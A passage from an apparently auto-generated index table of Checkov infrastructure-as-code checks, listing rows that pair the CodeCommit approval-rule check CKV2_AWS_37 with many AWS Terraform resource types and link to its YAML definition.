[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2210 | CKV2_AWS_37 | resource | aws_sesv2_account_vdm_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2211 | CKV2_AWS_37 | resource | aws_sesv2_configuration_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2212 | CKV2_AWS_37 | resource | aws_sesv2_configuration_set_event_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2213 | CKV2_AWS_37 | resource | aws_sesv2_contact_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2214 | CKV2_AWS_37 | resource | aws_sesv2_dedicated_ip_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2215 | CKV2_AWS_37 | resource | aws_sesv2_dedicated_ip_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2216 | CKV2_AWS_37 | resource | aws_sesv2_email_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2217 | CKV2_AWS_37 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2218 | CKV2_AWS_37 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2219 | CKV2_AWS_37 | resource | aws_sesv2_email_identity_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2220 | CKV2_AWS_37 | resource | aws_sfn_activity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2221 | CKV2_AWS_37 | resource | aws_sfn_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2222 | CKV2_AWS_37 | resource | aws_sfn_state_machine | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2223 | CKV2_AWS_37 | resource | aws_shield_application_layer_automatic_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2224 | CKV2_AWS_37 | resource | aws_shield_drt_access_log_bucket_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2225 | CKV2_AWS_37 | resource | aws_shield_drt_access_role_arn_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2226 | CKV2_AWS_37 | resource | aws_shield_proactive_engagement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2227 | CKV2_AWS_37 | resource | aws_shield_protection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2228 | CKV2_AWS_37 | resource | aws_shield_protection_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2229 | CKV2_AWS_37 | resource | aws_shield_protection_health_check_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2230 | CKV2_AWS_37 | resource | aws_shield_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2231 | CKV2_AWS_37 | resource | aws_signer_signing_job | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2232 | CKV2_AWS_37 | resource | aws_signer_signing_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2233 | CKV2_AWS_37 | resource | aws_signer_signing_profile_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2234 | CKV2_AWS_37 | resource | aws_simpledb_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2235 | CKV2_AWS_37 | resource | aws_snapshot_create_volume_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2236 | CKV2_AWS_37 | resource | aws_sns_platform_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2237 | CKV2_AWS_37 | resource | aws_sns_sms_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2238 | CKV2_AWS_37 | resource | aws_sns_topic | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2239 | CKV2_AWS_37 | resource | aws_sns_topic_data_protection_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2240 | CKV2_AWS_37 | resource | aws_sns_topic_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2241 | CKV2_AWS_37 | resource | aws_sns_topic_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2242 | CKV2_AWS_37 | resource | aws_spot_datafeed_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2243 | CKV2_AWS_37 | resource | aws_spot_fleet_request | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2244 | CKV2_AWS_37 | resource | aws_spot_instance_request | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2245 | CKV2_AWS_37 | resource | aws_sqs_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2246 | CKV2_AWS_37 | resource | aws_sqs_queue_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2247 | CKV2_AWS_37 | resource | aws_sqs_queue_redrive_allow_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2248 | CKV2_AWS_37 | resource | aws_sqs_queue_redrive_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2249 | CKV2_AWS_37 | resource | aws_ssm_activation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2250 | CKV2_AWS_37 | resource | aws_ssm_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2251 | CKV2_AWS_37 | resource | aws_ssm_default_patch_baseline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2252 | CKV2_AWS_37 | resource | aws_ssm_document | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2253 | CKV2_AWS_37 | resource | aws_ssm_maintenance_window | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2254 | CKV2_AWS_37 | resource | aws_ssm_maintenance_window_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2255 | CKV2_AWS_37 | resource | aws_ssm_maintenance_window_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2256 | CKV2_AWS_37 | resource | aws_ssm_parameter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2257 | CKV2_AWS_37 | resource | aws_ssm_patch_baseline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2258 | CKV2_AWS_37 | resource | aws_ssm_patch_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2259 | CKV2_AWS_37 | resource | aws_ssm_resource_data_sync | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2260 | CKV2_AWS_37 | resource | aws_ssm_service_setting | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2261 | CKV2_AWS_37 | resource | aws_ssmcontacts_contact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2262 | CKV2_AWS_37 | resource | aws_ssmcontacts_contact_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2263 | CKV2_AWS_37 | resource | aws_ssmcontacts_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2264 | CKV2_AWS_37 | resource | aws_ssmcontacts_rotation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2265 | CKV2_AWS_37 | resource | aws_ssmincidents_replication_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2266 | CKV2_AWS_37 | resource | aws_ssmincidents_response_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2267 | CKV2_AWS_37 | resource | aws_ssmquicksetup_configuration_manager | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2268 | CKV2_AWS_37 | resource | aws_ssoadmin_account_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2269 | CKV2_AWS_37 | resource | aws_ssoadmin_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2270 | CKV2_AWS_37 | resource | aws_ssoadmin_application_access_scope | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2271 | CKV2_AWS_37 | resource | aws_ssoadmin_application_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2272 | CKV2_AWS_37 | resource | aws_ssoadmin_application_assignment_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2273 | CKV2_AWS_37 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2274 | CKV2_AWS_37 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2275 | CKV2_AWS_37 | resource | aws_ssoadmin_managed_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2276 | CKV2_AWS_37 | resource | aws_ssoadmin_permission_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2277 | CKV2_AWS_37 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2278 | CKV2_AWS_37 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2279 | CKV2_AWS_37 | resource | aws_ssoadmin_trusted_token_issuer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2280 | CKV2_AWS_37 | resource | aws_storagegateway_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2281 | CKV2_AWS_37 | resource | aws_storagegateway_cached_iscsi_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2282 | CKV2_AWS_37 | resource | aws_storagegateway_file_system_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2283 | CKV2_AWS_37 | resource | aws_storagegateway_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2284 | CKV2_AWS_37 | resource | aws_storagegateway_nfs_file_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2285 | CKV2_AWS_37 | resource | aws_storagegateway_smb_file_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2286 | CKV2_AWS_37 | resource | aws_storagegateway_stored_iscsi_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2287 | CKV2_AWS_37 | resource | aws_storagegateway_tape_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2288 | CKV2_AWS_37 | resource | aws_storagegateway_upload_buffer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2289 | CKV2_AWS_37 | resource | aws_storagegateway_working_storage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2290 | CKV2_AWS_37 | resource | aws_subnet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2291 | CKV2_AWS_37 | resource | aws_swf_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2292 | CKV2_AWS_37 | resource | aws_synthetics_canary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2293 | CKV2_AWS_37 | resource | aws_synthetics_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2294 | CKV2_AWS_37 | resource | aws_synthetics_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2295 | CKV2_AWS_37 | resource | aws_timestreaminfluxdb_db_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2296 | CKV2_AWS_37 | resource | aws_timestreamquery_scheduled_query | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2297 | CKV2_AWS_37 | resource | aws_timestreamwrite_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2298 | CKV2_AWS_37 | resource | aws_timestreamwrite_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2299 | CKV2_AWS_37 | resource | aws_transcribe_language_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2300 | CKV2_AWS_37 | resource | aws_transcribe_medical_vocabulary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2301 | CKV2_AWS_37 | resource | aws_transcribe_vocabulary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2302 | CKV2_AWS_37 | resource | aws_transcribe_vocabulary_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2303 | CKV2_AWS_37 | resource | aws_transfer_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2304 | CKV2_AWS_37 | resource | aws_transfer_agreement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2305 | CKV2_AWS_37 | resource | aws_transfer_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2306 | CKV2_AWS_37 | resource | aws_transfer_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2307 | CKV2_AWS_37 | resource | aws_transfer_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2308 | CKV2_AWS_37 | resource | aws_transfer_server | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2309 | CKV2_AWS_37 | resource | aws_transfer_ssh_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2310 | CKV2_AWS_37 | resource | aws_transfer_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2311 | CKV2_AWS_37 | resource | aws_transfer_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2312 | CKV2_AWS_37 | resource | aws_transfer_workflow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2313 | CKV2_AWS_37 | resource | aws_verifiedaccess_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2314 | 